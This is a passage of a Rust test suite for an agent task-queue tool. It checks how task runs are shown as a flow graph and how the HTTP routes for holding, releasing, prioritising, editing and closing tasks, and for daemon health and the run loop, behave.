10163 Config::default(),
10164 );
10165 s.status = status;
10166 edit(&mut s);
10167 s
10168 }
10169
10170 fn flow_task(runs: &[&str]) -> Task {
10171 let mut t = Task::new(
10172 "t".to_owned(),
10173 "Do it".to_owned(),
10174 PathBuf::from("/repo/magi"),
10175 Source::Human,
10176 );
10177 for r in runs {
10178 t.start((*r).to_owned());
10179 }
10180 t
10181 }
10182
10183 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10184 let h = task_history(task, |id| {
10185 states
10186 .iter()
10187 .find(|(i, _)| *i == id)
10188 .and_then(|(_, s)| s.clone())
10189 });
10190 task_flow(task, &h, 5)
10191 }
10192
10193 #[test]
10194 fn flow_opens_with_the_chat_that_queued_the_task() {
10195 let mut t = flow_task(&[]);
10196 t.source = Source::Agent {
10197 run: "a b/c".to_owned(),
10198 node: crate::queue::CHAT_NODE.to_owned(),
10199 };
10200 let f = flow_for(&t, &[]);
10201 assert_eq!(f.nodes[0].key, "chat");
10202 assert_eq!(f.nodes[0].kind, "chat");
10203 assert_eq!(
10204 f.nodes[0].label,
10205 format!("Chat {}", crate::queue::short("a b/c"))
10206 );
10207 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10208 assert_eq!(f.nodes[1].key, "start");
10209 assert_eq!(
10210 f.edges[0],
10211 FlowEdge {
10212 from: "chat".to_owned(),
10213 to: "start".to_owned(),
10214 label: "queued from chat".to_owned(),
10215 attempt: AttemptCost::None,
10216 }
10217 );
10218 }
10219
10220 #[test]
10221 fn flow_has_no_chat_box_for_other_sources() {
10222 for source in [
10223 Source::Human,
10224 Source::Issue {
10225 number: 3,
10226 repo: "o/r".to_owned(),
10227 },
10228 Source::Agent {
10229 run: "20260904-014455-ab12".to_owned(),
10230 node: "implement".to_owned(),
10231 },
10232 ] {
10233 let mut t = flow_task(&[]);
10234 t.source = source;
10235 let f = flow_for(&t, &[]);
10236 assert_eq!(f.nodes[0].key, "start");
10237 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10238 assert!(f.edges.iter().all(|e| e.from != "chat"));
10239 }
10240 }
10241
10242 const FA: &str = "20260902-140501-aaaa";
10243 const FB: &str = "20260902-140502-bbbb";
10244
10245 #[test]
10246 fn flow_follows_blocked_retry_merged_to_done() {
10247 let mut t = flow_task(&[FA, FB]);
10248 t.status = TaskStatus::Done;
10249 let f = flow_for(
10250 &t,
10251 &[
10252 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10253 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10254 ],
10255 );
10256 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10257 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10258 assert_eq!(f.edges.len(), 3);
10259 assert_eq!(f.edges[0].label, "claimed");
10260 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10261 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10262 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10263 assert_eq!(
10264 f.nodes[2].href.as_deref(),
10265 Some("#/runs/20260902-140502-bbbb")
10266 );
10267 assert!(f.nodes[2].decided);
10268 }
10269
10270 #[test]
10271 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10272 let quota = || {
10273 flow_run(RunStatus::Stalled, |s| {
10274 s.quota.push(crate::run::QuotaLoss {
10275 seat: "judge-1".to_owned(),
10276 node: "judge".to_owned(),
10277 at: Timestamp::now(),
10278 reset: None,
10279 })
10280 })
10281 };
10282 let mut t = flow_task(&[FA, FA]);
10283 t.status = TaskStatus::Queued;
10284 let f = flow_for(&t, &[(FA, Some(quota()))]);
10285 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10286 assert_eq!(f.nodes[1].note, Some("interrupted"));
10287 assert_eq!(
10288 f.nodes[1].status, None,
10289 "no outcome copied onto an earlier pass"
10290 );
10291 assert_eq!(
10292 f.edges[1].attempt,
10293 AttemptCost::Unknown,
10294 "a resume does not prove the earlier pass was refunded"
10295 );
10296 assert!(f.edges[1].label.contains("resume the same run"));
10297 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10298 assert_eq!(
10299 f.edges[2].label,
10300 "stalled after a resume, refund unknown \u{2192} queued"
10301 );
10302 assert!(!f.nodes[2].decided, "a stall is not a decision");
10303 assert_eq!(f.nodes[2].note, Some("no verdict"));
10304 }
10305
10306 #[test]
10307 fn flow_single_pass_quota_stall_is_refunded() {
10308 let t = flow_task(&[FA]);
10309 let f = flow_for(
10310 &t,
10311 &[(
10312 FA,
10313 Some(flow_run(RunStatus::Stalled, |s| {
10314 s.quota.push(crate::run::QuotaLoss {
10315 seat: "judge-1".to_owned(),
10316 node: "judge".to_owned(),
10317 at: Timestamp::now(),
10318 reset: None,
10319 })
10320 })),
10321 )],
10322 );
10323 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10324 }
10325
10326 #[test]
10327 fn flow_parked_refunds_and_stall_without_quota_spends() {
10328 let mut t = flow_task(&[FA]);
10329 t.status = TaskStatus::Queued;
10330 let f = flow_for(
10331 &t,
10332 &[(
10333 FA,
10334 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10335 )],
10336 );
10337 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10338 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10339 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10340 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10341 assert!(!f.nodes[1].decided);
10342 }
10343
10344 #[test]
10345 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10346 let t = flow_task(&[FA, FB]);
10347 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10348 assert_eq!(f.nodes[1].note, Some("unreadable"));
10349 assert!(!f.nodes[1].readable);
10350 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10351 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10352 }
10353
10354 #[test]
10355 fn flow_names_the_branch_of_a_review_only_run() {
10356 let t = flow_task(&[FA]);
10357 let f = flow_for(
10358 &t,
10359 &[(
10360 FA,
10361 Some(flow_run(RunStatus::Merged, |s| {
10362 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10363 })),
10364 )],
10365 );
10366 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10367 assert_eq!(
10368 f.nodes[1].detail.as_deref(),
10369 Some("review-only run of branch magi/x/A")
10370 );
10371 }
10372
10373 #[test]
10374 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10375 let mut t = flow_task(&[FA]);
10376 t.status = TaskStatus::Held;
10377 let pr = crate::run::PrRecord {
10378 url: "https://example.test/pr/1".to_owned(),
10379 number: 1,
10380 state: "open".to_owned(),
10381 checks: "green".to_owned(),
10382 round: 0,
10383 rounds: 3,
10384 red_at_merge: Vec::new(),
10385 };
10386 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10387 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10388 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10389 t.status = TaskStatus::Done;
10390 let f = flow_for(&t, &[(FA, Some(blocked))]);
10391 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10392 }
10393
10394 #[test]
10395 fn flow_with_no_runs_goes_from_queued_to_queued() {
10396 let t = flow_task(&[]);
10397 let f = flow_for(&t, &[]);
10398 assert_eq!(f.nodes.len(), 2);
10399 assert_eq!(f.edges.len(), 1);
10400 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10401 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10402 }
10403
10404 #[test]
10407 fn a_parked_non_terminal_run_is_explained_as_parked() {
10408 let mut s = RunState::new(
10409 PathBuf::from("/repo/magi"),
10410 "main".to_owned(),
10411 "0123456789abcdef".to_owned(),
10412 "Do it".to_owned(),
10413 Config::default(),
10414 );
10415 s.status = RunStatus::Implementing;
10416 s.parked = true;
10417 let task = Task::new(
10418 "t".to_owned(),
10419 "Do it".to_owned(),
10420 PathBuf::from("/repo/magi"),
10421 Source::Human,
10422 );
10423 let v = task_run_view(
10424 "20260902-140501-aaaa",
10425 Some(&s),
10426 RunSlot {
10427 n: 1,
10428 resumed: false,
10429 resumed_later: None,
10430 prior: None,
10431 last: true,
10432 },
10433 &task,
10434 );
10435 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10436 }
10437
10438 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10439 let mut s = flow_run(RunStatus::Implementing, edit);
10440 s.parked = false;
10441 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10442 task_run_view(
10443 "20260902-140501-aaaa",
10444 Some(&s),
10445 RunSlot {
10446 n: 1,
10447 resumed: false,
10448 resumed_later: Some(2),
10449 prior: None,
10450 last: false,
10451 },
10452 &task,
10453 )
10454 }
10455
10456 #[test]
10457 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10458 let v = earlier_pass_view(|_| {});
10459 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10460 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10461 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10462 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10463 assert_eq!(v.exit, RunExit::Interrupted);
10464 assert_eq!(v.attempt, AttemptCost::Unknown);
10465 }
10466
10467 #[test]
10468 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10469 let v = earlier_pass_view(|s| {
10470 s.quota.push(crate::run::QuotaLoss {
10471 seat: "judge-1".to_owned(),
10472 node: "judge".to_owned(),
10473 at: Timestamp::now(),
10474 reset: None,
10475 });
10476 });
10477 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10478 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10479 assert_eq!(v.attempt, AttemptCost::Unknown);
10480 }
10481
10482 #[test]
10483 fn the_current_pass_states_its_recorded_cause_and_cost() {
10484 let slot = || RunSlot {
10485 n: 1,
10486 resumed: false,
10487 resumed_later: None,
10488 prior: None,
10489 last: true,
10490 };
10491 let task = flow_task(&["20260902-140501-aaaa"]);
10492 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10493 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10494 assert_eq!(
10495 (v.exit, v.attempt),
10496 (RunExit::Parked, AttemptCost::Refunded)
10497 );
10498 let spent = flow_run(RunStatus::Blocked, |_| {});
10499 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10500 assert_eq!(v.attempt, AttemptCost::Spent);
10501 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10502 }
10503
10504 #[tokio::test]
10505 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10506 let f = Fixture::start().await;
10507 let queue = f.queue();
10508 let mut task = Task::new(
10509 "spent".to_owned(),
10510 "Try again".to_owned(),
10511 PathBuf::from("/repo/magi"),
10512 Source::Human,
10513 );
10514 task.start("20260902-140502-bbbb".to_owned());
10515 task.fail("agent gave up", 9);
10516 queue.put(&mut task).expect("file the task");
10517
10518 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10519 assert_eq!(held.status, 200);
10520 assert_eq!(held.json()["status_str"], "held");
10521
10522 let released = f
10523 .post(&format!("/api/queue/{}/release", task.id), None)
10524 .await;
10525 assert_eq!(released.status, 200);
10526 assert_eq!(released.json()["status_str"], "queued");
10527 assert_eq!(
10528 released.json()["attempts"],
10529 0,
10530 "release is a real second chance, not an instant re-hold"
10531 );
10532 assert_eq!(
10533 queue.get(&task.id).expect("reload").status,
10534 TaskStatus::Queued,
10535 "the change is on disk, not only in the reply"
10536 );
10537 assert!(
10538 !f.home
10539 .path()
10540 .join("queue")
10541 .join(format!("{}.lock", task.id))
10542 .exists(),
10543 "the claim the mutation took is released again"
10544 );
10545 }
10546
10547 #[tokio::test]
10548 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10549 let f = Fixture::start().await;
10550 let queue = f.queue();
10551 let mut task = Task::new(
10552 "busy".to_owned(),
10553 "Running right now".to_owned(),
10554 PathBuf::from("/repo/magi"),
10555 Source::Human,
10556 );
10557 queue.put(&mut task).expect("file the task");
10558 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10559
10560 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10561
10562 assert_eq!(res.status, 409);
10563 assert_eq!(
10564 queue.get(&task.id).expect("reload").status,
10565 TaskStatus::Queued,
10566 "the refused hold changed nothing"
10567 );
10568 }
10569
10570 #[tokio::test]
10571 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10572 let f = Fixture::start().await;
10573 let queue = f.queue();
10574 let mut task = Task::new(
10575 "waiting on the migration".to_owned(),
10576 "Do the thing".to_owned(),
10577 PathBuf::from("/repo/magi"),
10578 Source::Human,
10579 );
10580 queue.put(&mut task).expect("file the task");
10581
10582 let held = f
10583 .post(
10584 &format!("/api/queue/{}/hold", task.id),
10585 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10586 )
10587 .await;
10588 assert_eq!(held.status, 200, "{}", held.body);
10589 assert_eq!(held.json()["status_str"], "held");
10590 assert_eq!(
10591 held.json()["hold_reason"],
10592 "waiting for 20260101-000000-aaaa to land"
10593 );
10594
10595 let listed = f.get("/api/queue").await.json();
10596 assert_eq!(
10597 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10598 "the card reads the reason off the same list route"
10599 );
10600
10601 let mut plain = Task::new(
10604 "no reason given".to_owned(),
10605 "Do another thing".to_owned(),
10606 PathBuf::from("/repo/magi"),
10607 Source::Human,
10608 );
10609 queue.put(&mut plain).expect("file the task");
10610 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10611 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10612 assert!(held_plain.json()["hold_reason"].is_null());
10613
10614 let released = f
10615 .post(&format!("/api/queue/{}/release", task.id), None)
10616 .await;
10617 assert_eq!(released.status, 200);
10618 assert!(
10619 released.json()["hold_reason"].is_null(),
10620 "a release must clear the reason so the next hold does not inherit it"
10621 );
10622 }
10623
10624 #[tokio::test]
10625 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10626 let f = Fixture::start().await;
10627 let queue = f.queue();
10628 let mut older = Task::new(
10629 "filed first".to_owned(),
10630 "x".to_owned(),
10631 PathBuf::from("/repo/magi"),
10632 Source::Human,
10633 );
10634 older.id = "20260101-000001-aaaa".to_owned();
10635 let mut newer = Task::new(
10636 "filed second".to_owned(),
10637 "x".to_owned(),
10638 PathBuf::from("/repo/magi"),
10639 Source::Human,
10640 );
10641 newer.id = "20260101-000002-bbbb".to_owned();
10642 queue.put(&mut older).expect("file older");
10643 queue.put(&mut newer).expect("file newer");
10644
10645 let before = f.get("/api/queue").await.json();
10648 assert_eq!(before[0]["id"], newer.id);
10649 assert_eq!(before[1]["id"], older.id);
10650
10651 let raised = f
10655 .post(
10656 &format!("/api/queue/{}/priority", older.id),
10657 Some(r#"{"priority":10}"#),
10658 )
10659 .await;
10660 assert_eq!(raised.status, 200, "{}", raised.body);
10661 assert_eq!(raised.json()["priority"], 10);
10662
10663 let after = f.get("/api/queue").await.json();
10664 let names: Vec<&str> = after
10665 .as_array()
10666 .unwrap()
10667 .iter()
10668 .map(|t| t["id"].as_str().unwrap())
10669 .collect();
10670 assert_eq!(names[0], older.id, "the raised task now sorts first");
10674 }
10675
10676 #[tokio::test]
10677 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10678 let f = Fixture::start().await;
10679 let queue = f.queue();
10680 let mut task = Task::new(
10681 "in flight".to_owned(),
10682 "x".to_owned(),
10683 PathBuf::from("/repo/magi"),
10684 Source::Human,
10685 );
10686 task.start("20260902-140502-bbbb".to_owned());
10687 queue.put(&mut task).expect("file the task");
10688
10689 let res = f
10690 .post(
10691 &format!("/api/queue/{}/priority", task.id),
10692 Some(r#"{"priority":9}"#),
10693 )
10694 .await;
10695 assert_eq!(res.status, 400, "{}", res.body);
10696 assert!(
10697 res.json()["error"]
10698 .as_str()
10699 .is_some_and(|e| e.contains("running")),
10700 "{}",
10701 res.body
10702 );
10703 assert_eq!(
10704 queue.get(&task.id).expect("reload").priority,
10705 0,
10706 "the refused write must not partially apply"
10707 );
10708 }
10709
10710 #[tokio::test]
10711 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10712 let f = Fixture::start().await;
10713 let queue = f.queue();
10714 let mut task = Task::new(
10715 "old title".to_owned(),
10716 "old instruction".to_owned(),
10717 PathBuf::from("/repo/magi"),
10718 Source::Agent {
10719 run: "20260101-000000-beef".to_owned(),
10720 node: "implement".to_owned(),
10721 },
10722 );
10723 task.runs.push("20260101-000000-beef".to_owned());
10724 queue.put(&mut task).expect("file the task");
10725 let created_at = task.created_at;
10726
10727 let edited = f
10728 .post(
10729 &format!("/api/queue/{}/edit", task.id),
10730 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10731 )
10732 .await;
10733 assert_eq!(edited.status, 200, "{}", edited.body);
10734 let body = edited.json();
10735 assert_eq!(body["title"], "new title");
10736 assert_eq!(body["instruction"], "new instruction");
10737 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10738 assert_eq!(body["created_at"], created_at.to_string());
10739 assert_eq!(
10740 body["source"]["kind"], "agent",
10741 "editing a task an agent filed must not turn it human: {body}"
10742 );
10743 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10744
10745 let reloaded = queue.get(&task.id).expect("reload");
10746 assert_eq!(reloaded.title, "new title");
10747 assert_eq!(reloaded.instruction, "new instruction");
10748 }
10749
10750 #[tokio::test]
10751 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10752 let tmp = TempDir::new().expect("tempdir");
10755 let repo = tmp.path().join("repo");
10756 std::fs::create_dir_all(&repo).expect("repo dir");
10757 let judge = MOCK_AGENT_TOML.replace(
10758 "printf ok",
10759 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10760 );
10761 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10762 let f = Fixture::with_repo(repo.clone()).await;
10763 let queue = f.queue();
10764 let mut owner = Task::new(
10765 "owner".to_owned(),
10766 "review it".to_owned(),
10767 repo.clone(),
10768 Source::Human,
10769 );
10770 owner.review_branch = Some("magi/ab12/A".to_owned());
10771 queue.put(&mut owner).expect("file the owner");
10772 let mut task = Task::new(
10773 "draft".to_owned(),
10774 "old".to_owned(),
10775 repo.clone(),
10776 Source::Human,
10777 );
10778 queue.put(&mut task).expect("file the draft");
10779 let url = format!("/api/queue/{}/edit", task.id);
10780
10781 let refused = f
10782 .post(
10783 &url,
10784 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10785 )
10786 .await;
10787 assert_eq!(refused.status, 409, "{}", refused.body);
10788 let msg = refused.json()["error"]
10789 .as_str()
10790 .unwrap_or_default()
10791 .to_owned();
10792 assert!(
10793 msg.contains("magi/ab12/A") && msg.contains("force"),
10794 "{msg}"
10795 );
10796 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10797
10798 let forced = f
10799 .post(
10800 &url,
10801 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10802 )
10803 .await;
10804 assert_eq!(forced.status, 200, "{}", forced.body);
10805 }
10806
10807 #[tokio::test]
10808 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10809 let f = Fixture::start().await;
10810 let queue = f.queue();
10811 let mut task = Task::new(
10812 "in flight".to_owned(),
10813 "do not touch".to_owned(),
10814 PathBuf::from("/repo/magi"),
10815 Source::Human,
10816 );
10817 task.start("20260902-140502-bbbb".to_owned());
10818 queue.put(&mut task).expect("file the task");
10819
10820 let res = f
10821 .post(
10822 &format!("/api/queue/{}/edit", task.id),
10823 Some(r#"{"title":"x","instruction":"y"}"#),
10824 )
10825 .await;
10826 assert_eq!(res.status, 400, "{}", res.body);
10827 assert!(
10828 res.json()["error"]
10829 .as_str()
10830 .is_some_and(|e| e.contains("running")),
10831 "{}",
10832 res.body
10833 );
10834 assert_eq!(
10835 queue.get(&task.id).expect("reload").instruction,
10836 "do not touch",
10837 "the refused edit must not change the file"
10838 );
10839 }
10840
10841 #[tokio::test]
10842 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10843 let f = Fixture::start().await;
10844 let queue = f.queue();
10845 let mut task = Task::new(
10846 "busy".to_owned(),
10847 "Running right now".to_owned(),
10848 PathBuf::from("/repo/magi"),
10849 Source::Human,
10850 );
10851 queue.put(&mut task).expect("file the task");
10852 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10853
10854 let priority = f
10855 .post(
10856 &format!("/api/queue/{}/priority", task.id),
10857 Some(r#"{"priority":9}"#),
10858 )
10859 .await;
10860 assert_eq!(priority.status, 409, "{}", priority.body);
10861
10862 let edit = f
10863 .post(
10864 &format!("/api/queue/{}/edit", task.id),
10865 Some(r#"{"title":"x","instruction":"y"}"#),
10866 )
10867 .await;
10868 assert_eq!(edit.status, 409, "{}", edit.body);
10869 }
10870
10871 #[tokio::test]
10872 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10873 let f = Fixture::start().await;
10874 let queue = f.queue();
10875 let mut task = Task::new(
10876 "shipped by hand".to_owned(),
10877 "merged outside the loop".to_owned(),
10878 PathBuf::from("/repo/magi"),
10879 Source::Agent {
10880 run: "20260101-000000-b455".to_owned(),
10881 node: "implement".to_owned(),
10882 },
10883 );
10884 task.runs.push("20260101-000000-b455".to_owned());
10885 task.runs.push("20260101-000000-9af4".to_owned());
10886 queue.put(&mut task).expect("file the task");
10887 let created_at = task.created_at;
10888
10889 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10890 assert_eq!(done.status, 200, "{}", done.body);
10891 assert_eq!(done.json()["status_str"], "done");
10892
10893 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10894 assert_eq!(
10895 reloaded.runs,
10896 ["20260101-000000-b455", "20260101-000000-9af4"]
10897 );
10898 assert_eq!(
10899 reloaded.source,
10900 Source::Agent {
10901 run: "20260101-000000-b455".to_owned(),
10902 node: "implement".to_owned(),
10903 }
10904 );
10905 assert_eq!(reloaded.created_at, created_at);
10906 }
10907
10908 #[tokio::test]
10909 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10910 let f = Fixture::start().await;
10915 let queue = f.queue();
10916 let mut task = Task::new(
10917 "landed while held".to_owned(),
10918 "x".to_owned(),
10919 PathBuf::from("/repo/magi"),
10920 Source::Human,
10921 );
10922 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10923 queue.put(&mut task).expect("file the held task");
10924
10925 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10926 assert_eq!(done.status, 200, "{}", done.body);
10927 assert_eq!(done.json()["status_str"], "done");
10928 assert!(
10929 done.json()["hold_reason"].is_null(),
10930 "a done task cannot still be waiting on something: {}",
10931 done.body
10932 );
10933 }
10934
10935 #[tokio::test]
10936 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10937 let f = Fixture::start().await;
10942 let queue = f.queue();
10943 let runs = f.runs();
10944 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10945 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10949
10950 let mut task = Task::new(
10951 "landed by hand".to_owned(),
10952 "x".to_owned(),
10953 PathBuf::from("/repo/magi"),
10954 Source::Human,
10955 );
10956 task.runs.push("20260101-000000-doa1".to_owned());
10957 task.runs.push("20260101-000000-doa2".to_owned());
10958 queue.put(&mut task).expect("file the task");
10959
10960 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10961 assert_eq!(done.status, 200, "{}", done.body);
10962
10963 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10964 .expect("run still on disk under this fixture's own home");
10965 assert_eq!(
10966 reloaded_run.status,
10967 RunStatus::Superseded,
10968 "closing the task by hand must relabel the earlier blocked attempt exactly \
10969 like the loop's own settle path does"
10970 );
10971 }
10972
10973 #[tokio::test]
10974 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10975 let f = Fixture::start().await;
10980 let queue = f.queue();
10981 let runs = f.runs();
10982 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10983 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10984
10985 let mut task = Task::new(
10986 "closed with nothing actually landed".to_owned(),
10987 "x".to_owned(),
10988 PathBuf::from("/repo/magi"),
10989 Source::Human,
10990 );
10991 task.runs.push("20260101-000000-dob1".to_owned());
10992 task.runs.push("20260101-000000-dob2".to_owned());
10993 queue.put(&mut task).expect("file the task");
10994
10995 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10996 assert_eq!(done.status, 200, "{}", done.body);
10997
10998 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10999 .expect("run still on disk under this fixture's own home");
11000 assert_eq!(
11001 reloaded_run.status,
11002 RunStatus::Blocked,
11003 "the last recorded attempt never landed, so the earlier one must not be \
11004 relabelled as superseded by it"
11005 );
11006 }
11007
11008 #[tokio::test]
11009 async fn unknown_ids_are_json_not_found_on_both_stores() {
11010 let f = Fixture::start().await;
11011
11012 let run = f.get("/api/runs/nosuchrun").await;
11013 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11014
11015 assert_eq!(run.status, 404);
11016 assert_eq!(task.status, 404);
11017 assert!(
11018 run.json()["error"]
11019 .as_str()
11020 .is_some_and(|e| e.contains("run")),
11021 "the error names what was not found: {}",
11022 run.body
11023 );
11024 assert!(
11025 task.json()["error"]
11026 .as_str()
11027 .is_some_and(|e| e.contains("task")),
11028 "the error names what was not found: {}",
11029 task.body
11030 );
11031 }
11032
11033 #[tokio::test]
11034 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11035 let f = Fixture::start().await;
11036
11037 let missing = f.get("/api/health").await.json();
11038 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11039
11040 write_daemon(
11041 f.home.path(),
11042 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11043 );
11044 let stale = f.get("/api/health").await.json();
11045 assert_eq!(
11046 stale["daemon"]["running"], false,
11047 "a minute without a heartbeat is a dead daemon, not a busy one"
11048 );
11049 assert!(
11050 stale["daemon"]["stale_for_secs"]
11051 .as_i64()
11052 .is_some_and(|s| s >= 55),
11053 "staleness is reported so the UI can say how long: {stale}"
11054 );
11055
11056 write_daemon(f.home.path(), Timestamp::now());
11057 let fresh = f.get("/api/health").await.json();
11058 assert_eq!(fresh["daemon"]["running"], true);
11059 assert_eq!(fresh["daemon"]["idle"], false);
11060 assert_eq!(fresh["daemon"]["pid"], 4242);
11061 assert_eq!(fresh["daemon"]["completed"], 7);
11062 assert_eq!(
11063 fresh["daemon"]["current"][0]["task"],
11064 "20260902-140501-aaaa"
11065 );
11066 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11067 }
11068
11069 #[tokio::test]
11070 async fn the_loop_is_not_running_until_something_starts_it() {
11071 let f = Fixture::start().await;
11072
11073 let view = f.get("/api/loop").await.json();
11074 assert_eq!(view["running"], false);
11075 assert_eq!(
11076 view["owned"], false,
11077 "nobody owns a loop that does not exist: {view}"
11078 );
11079 assert_eq!(view["stopping"], false);
11080 assert_eq!(view["last_error"], Value::Null);
11081 assert_eq!(view["daemon"]["running"], false);
11082 assert_eq!(
11083 view["repo"], "/repo/magi",
11084 "the repository a start would use, named before it is started"
11085 );
11086 }
11087
11088 #[tokio::test]
11089 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11090 let f = Fixture::start().await;
11091
11092 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11093 assert_eq!(res.status, 200, "{}", res.body);
11094 let view = res.json();
11095 assert_eq!(view["running"], true);
11096 assert_eq!(
11097 view["owned"], true,
11098 "the loop the UI started is the UI's own to stop: {view}"
11099 );
11100 assert_eq!(
11101 view["merge"],
11102 Value::Null,
11103 "no override was given, so each repository's own config decides"
11104 );
11105
11106 let health = f.get("/api/health").await.json();
11110 assert_eq!(health["loop"]["running"], true, "{health}");
11111 assert_eq!(health["loop"]["owned"], true, "{health}");
11112
11113 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11114 }
11115
11116 #[tokio::test]
11117 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11118 let f = Fixture::start().await;
11119 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11120 assert_eq!(first.status, 200, "{}", first.body);
11121
11122 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11123 assert_eq!(
11124 again.status, 409,
11125 "two loops on one queue race for the same claims: {}",
11126 again.body
11127 );
11128 assert!(
11129 again.json()["error"]
11130 .as_str()
11131 .is_some_and(|e| e.contains("already running the loop")),
11132 "the refusal has to say why: {}",
11133 again.body
11134 );
11135 assert_eq!(
11136 f.get("/api/loop").await.json()["running"],
11137 true,
11138 "and the loop that was already running is untouched by it"
11139 );
11140
11141 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11142 }
11143
11144 #[tokio::test]
11145 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11146 let f = Fixture::start().await;
11147 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11148
